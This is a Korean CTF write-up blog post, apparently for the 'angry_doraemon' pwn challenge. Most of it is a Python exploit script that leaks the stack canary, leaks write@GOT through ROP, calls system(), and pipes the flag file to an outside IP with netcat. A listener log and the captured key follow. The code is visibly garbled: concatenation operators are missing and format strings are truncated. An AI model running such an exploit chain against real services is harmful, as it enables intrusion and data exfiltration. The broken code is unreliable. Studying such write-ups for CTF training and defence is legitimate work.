sweetchip's blog




Binary :

angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제엔 두부분으로 공격할 수 있다.


1. Stack Based Buffer Overflow

2. Pointer


1번은 bof 취약점이 있는 부분을 공격하면 되고, 2번은 4바이트의 값을 받고 그곳으로 점프한다. 하지만 필터링을 우회해야 한다.


예를들어서 AAAA 를 넣으면 0x41414141 로 점프하는 방법이다.


어떤 방법으로든 할순 있겠지만 아이디어가 떠오르지 않아 BOF 방향으로 진행했다.


그리고 이문제를 풀면서 스택쿠키가 4바이트이고 그 값이 똑같으면 우회할 수 있다는 것을 처음 알게 되었다.


이하 Exploit


from socket import *

import struct

import time


ip = "58.229.183.18"

#ip = "192.168.0.109"

port = 8888

p = lambda x : struct.pack("

up = lambda x : struct.unpack("


read = 0x08048620

write = 0x080486e0

write_got = 0x0804b040

freespace = 0x0804bc00

f_throwmouse = 0x08048fc6


cmd = "cat key|nc 220.117.247.200 31333\x00"


pppr = 0x080495bd


#write : e0910

#system : 41260

#write - system = 9F6B0

def stage1_payload(canary):

payload = "y"*10

payload = canary

payload = "A"*12


payload = p(write)

payload = p(pppr)

payload = p(4)

payload = p(write_got)

payload = p(4)


payload = p(f_throwmouse)

payload = "AAAA"

payload = p(4)


return payload


def stage2_payload(canary, write_ptr):

system = write_ptr - 0x9f6b0


payload = "y"*10

payload = canary

payload = "A" *12


payload = p(read)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len(cmd))


payload = p(system)

payload = "AAAA"

payload = p(freespace)

return payload


#################################################################

#####################[ get canary ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Get canary. . .")


s.send("4\n")

print s.recv(0x1024)

s.send("y"*11)

canary = s.recv(0x1024)[12 11:]#.encode("hex")

canary = canary[:len(canary)-3]

print "canary : " canary

canary = "\x00" canary[:3] # result

print "canary result : " canary[::-1].encode("hex")

s.close()

#################################################################

#####################[ staged_exploit ]]####################

#################################################################

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

raw_input("[*] Exploit. . . .")

s.send("4\n")

print s.recv(0x1024)

print stage1_payload(canary)

s.send(stage1_payload(canary))# "\x11\xe8\x10\xc3"


w_got = up(s.recv(4))

print "[!] Leaked write_got : " hex(w_got)

print s.recv(0x1024) # r u sure?

s.send(stage2_payload(canary, w_got))

time.sleep(1)

s.send(cmd)


print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)

print s.recv(0x1024)



print s.recv(0x1024)

s.close()

#################################################################

raw_input("[*]All Done.")


"""

C:\Users\Administrator>nc -lvp 31333

listening on [any] 31333 ...

58.229.183.18: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.18] 46737: NO_DATA

CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

"""



Exploit은 총 3군데로 나눌수 있는데

첫 번째는 스택 쿠키를 가져오는 부분이고 [fork() 되어있기 때문에 항상 카나리 값은 고정이다.]

두 번째는 write_got 포인터를 Leak 시켜서 가져오고

세 번째는 leak 시킨 포인터를 이용하여 system 함수를 계산해서 Command Execution을 한다.


Key : CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

신고

Comment 3

  • system주소
    2014.02.26 11:09 신고 수정 답글

    시스템 주소를 구하는 방법에 대해서 물어봐도될까요?

    저는 b7로시작하던데.. 그 주소로 구한거 같진 않으시더라고요

    • 2014.02.26 12:18 신고 수정

      aslr이 있다는 가정하에 작성한 payload입니다.
      먼저 write 주소를 가져오고 write - system 한 값을 다시 write에서 빼주면 원래 system 주소가 나올것입니다.
      최종적으론 b7 ~~~~ 가 맞습니다.

  • 2015.01.20 20:04 신고 수정 답글

    exploit할때, 바이너리를 분석해보니 '1'번 메뉴에 들어가보면 어떤 값과 비교해서 그 값이 31337이면 execve("/bin/sh", "sh", 0) 부분이 있던데 gdb로 까서 execve 인자를 전달받는 부분으로 리턴하면 되지 않나요?